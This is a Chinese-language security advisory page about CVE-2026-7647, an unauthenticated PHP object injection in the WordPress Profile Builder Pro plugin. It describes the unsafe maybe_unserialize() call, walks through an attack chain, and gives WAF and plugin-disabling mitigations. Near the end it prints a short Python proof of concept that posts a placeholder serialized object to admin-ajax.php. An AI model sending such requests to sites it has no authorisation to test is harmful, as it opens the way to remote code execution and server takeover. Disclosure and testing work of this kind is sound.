IPBUF安全漏洞报告
English
CVE-2026-7647 CVSS 8.1 高危

CVE-2026-7647: WordPress Profile Builder Pro插件PHP对象注入漏洞

披露日期: 2026-05-02

漏洞信息

漏洞编号
CVE-2026-7647
漏洞类型
PHP对象注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Profile Builder Pro Plugin

相关标签

PHP对象注入WordPressRCECVE-2026-7647Profile Builder Pro

漏洞概述

WordPress的Profile Builder Pro插件在3.14.5及之前版本中存在严重的PHP对象注入漏洞。该漏洞源于AJAX处理函数中对用户输入的`args`参数直接使用`maybe_unserialize()`进行反序列化,且未进行任何身份验证或输入验证。未经认证的攻击者可利用此漏洞注入任意PHP对象,进而可能执行恶意代码。

技术细节

该漏洞的核心在于插件中`wppb_request_users_pins_action_callback` AJAX处理函数的不安全实现。该函数同时挂载了`wp_ajax_`和`wp_ajax_nopriv_`动作,允许未认证用户调用。在处理请求时,代码直接提取POST参数中的`args`值,并未经过任何Nonce验证、数据类型检查或输入清洗,就将其传递给PHP的`maybe_unserialize()`函数进行反序列化操作。由于PHP对象注入漏洞的危害取决于应用程序中可用的“POP链”,攻击者可以构造特制的序列化字符串,利用WordPress核心或其他插件中存在的魔术方法回调,实现远程代码执行(RCE)或进一步提权,完全接管受影响的服务器。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标网站使用了WordPress,并安装了Profile Builder Pro插件(版本<=3.14.5)。
STEP 2
2. 发送恶意请求
攻击者向`/wp-admin/admin-ajax.php`发送POST请求,action参数设为`wppb_request_users_pins_action`,并在`args`参数中注入恶意的序列化PHP对象字符串。
STEP 3
3. 触发反序列化
服务器端的`wppb_request_users_pins_action_callback`函数接收请求,由于缺乏验证,直接将`args`传递给`maybe_unserialize()`,导致恶意对象被反序列化并加载到内存中。
STEP 4
4. 执行代码
反序列化过程中触发PHP魔术方法(如__wakeup, __destruct),利用应用程序中的POP链执行任意系统命令,从而控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # The vulnerable action name is derived from the function name: wppb_request_users_pins_action_callback action_name = "wppb_request_users_pins_action" # Malicious serialized payload (Example: Simple Object Injection) # In a real attack, this would be a gadget chain leading to RCE. payload = 'O:8:"StdClass":0:{}' data = { "action": action_name, "args": payload } try: # Sending the POST request without authentication response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Profile Builder Pro <= 3.14.5

防御指南

临时缓解措施
如果无法立即更新,建议通过WAF(Web应用防火墙)拦截包含序列化特征(如O:数字:字符)的POST请求参数,或者临时禁用插件的User Listing功能以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表